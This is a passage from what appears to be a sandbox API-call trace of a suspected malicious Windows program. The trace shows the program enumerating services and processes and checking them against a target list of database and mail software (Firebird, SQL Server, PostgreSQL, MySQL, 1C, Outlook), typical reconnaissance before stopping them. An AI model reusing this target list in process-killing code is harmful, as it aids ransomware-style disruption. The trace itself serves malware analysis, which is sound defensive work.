returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0260.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0260.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0260.003] lstrlenW (lpString="ProfSvc") returned 7 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0260.003] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0260.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0260.003] lstrlenW (lpString="RpcEptMapper") returned 12 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0260.003] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0260.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0260.003] lstrlenW (lpString="RpcSs") returned 5 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0260.003] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0260.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0260.003] lstrlenW (lpString="SamSs") returned 5 [0260.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0260.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0260.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0260.004] lstrlenW (lpString="Schedule") returned 8 [0260.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0260.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0260.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0260.004] lstrlenW (lpString="SENS") returned 4 [0260.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0260.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0260.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0260.004] lstrlenW (lpString="ShellHWDetection") returned 16 [0260.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0260.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0260.004] lstrlenW (lpString="Spooler") returned 7 [0260.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0260.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0260.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0260.004] lstrlenW (lpString="SysMain") returned 7 [0260.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0260.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0260.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0260.004] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0260.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0260.004] lstrlenW (lpString="Themes") returned 6 [0260.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0260.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0260.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0260.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0260.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0260.005] lstrlenW (lpString="UxSms") returned 5 [0260.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0260.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0260.005] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0260.005] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0260.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0260.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x454b168 | out: hHeap=0x540000) returned 1 [0260.005] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0260.006] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.006] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.006] lstrlenW (lpString="System") returned 6 [0260.006] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0260.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0260.007] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.007] lstrlenW (lpString="smss.exe") returned 8 [0260.007] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0260.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0260.007] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.007] lstrlenW (lpString="csrss.exe") returned 9 [0260.008] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.008] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.008] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.008] lstrlenW (lpString="wininit.exe") returned 11 [0260.008] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0260.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0260.008] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.008] lstrlenW (lpString="csrss.exe") returned 9 [0260.008] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0260.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0260.009] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0260.009] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0260.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0260.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0260.009] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.009] lstrlenW (lpString="winlogon.exe") returned 12 [0260.009] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0260.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0260.009] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.010] lstrlenW (lpString="services.exe") returned 12 [0260.010] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0260.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0260.010] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.010] lstrlenW (lpString="lsass.exe") returned 9 [0260.010] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0260.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0260.010] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0260.010] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0260.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0260.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0260.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0260.010] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.011] lstrlenW (lpString="lsm.exe") returned 7 [0260.011] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0260.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0260.011] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0260.011] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0260.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0260.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0260.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0260.011] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.011] lstrlenW (lpString="svchost.exe") returned 11 [0260.011] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.011] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.011] lstrlenW (lpString="svchost.exe") returned 11 [0260.011] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.012] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.012] lstrlenW (lpString="svchost.exe") returned 11 [0260.012] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0260.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0260.012] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.013] lstrlenW (lpString="svchost.exe") returned 11 [0260.013] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0260.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0260.013] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0260.013] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0260.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0260.013] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.013] lstrlenW (lpString="svchost.exe") returned 11 [0260.013] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.013] lstrlenW (lpString="audiodg.exe") returned 11 [0260.013] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.014] lstrlenW (lpString="svchost.exe") returned 11 [0260.014] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.014] lstrlenW (lpString="svchost.exe") returned 11 [0260.014] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0260.014] lstrlenW (lpString="userinit.exe") returned 12 [0260.014] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.014] lstrlenW (lpString="dwm.exe") returned 7 [0260.014] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.015] lstrlenW (lpString="explorer.exe") returned 12 [0260.015] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.015] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.015] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.015] lstrlenW (lpString="taskhost.exe") returned 12 [0260.015] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.016] lstrlenW (lpString="svchost.exe") returned 11 [0260.016] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0260.016] lstrlenW (lpString="chrome64b.exe") returned 13 [0260.016] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.016] lstrlenW (lpString="reader_sl.exe") returned 13 [0260.016] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.016] lstrlenW (lpString="dllhost.exe") returned 11 [0260.016] Process32NextW (in: hSnapshot=0x3ac, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0260.017] CloseHandle (hObject=0x3ac) returned 1 [0260.017] Sleep (dwMilliseconds=0x1f4) [0260.740] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45447c0 [0260.741] EnumServicesStatusExW (in: hSCManager=0x45447c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0260.741] GetLastError () returned 0xea [0260.741] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd68) returned 0x454b168 [0260.741] EnumServicesStatusExW (in: hSCManager=0x45447c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x454b168, cbBufSize=0xd68, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x454b168, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0260.742] CloseServiceHandle (hSCObject=0x45447c0) returned 1 [0260.742] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0260.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0260.742] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0260.742] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0260.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0260.742] lstrlenW (lpString="AudioSrv") returned 8 [0260.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0260.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0260.742] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0260.742] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0260.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0260.742] lstrlenW (lpString="BFE") returned 3 [0260.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0260.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0260.743] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0260.743] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0260.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0260.743] lstrlenW (lpString="CryptSvc") returned 8 [0260.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0260.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0260.743] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0260.743] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0260.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0260.743] lstrlenW (lpString="CscService") returned 10 [0260.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0260.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0260.743] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0260.743] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0260.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0260.743] lstrlenW (lpString="DcomLaunch") returned 10 [0260.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0260.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 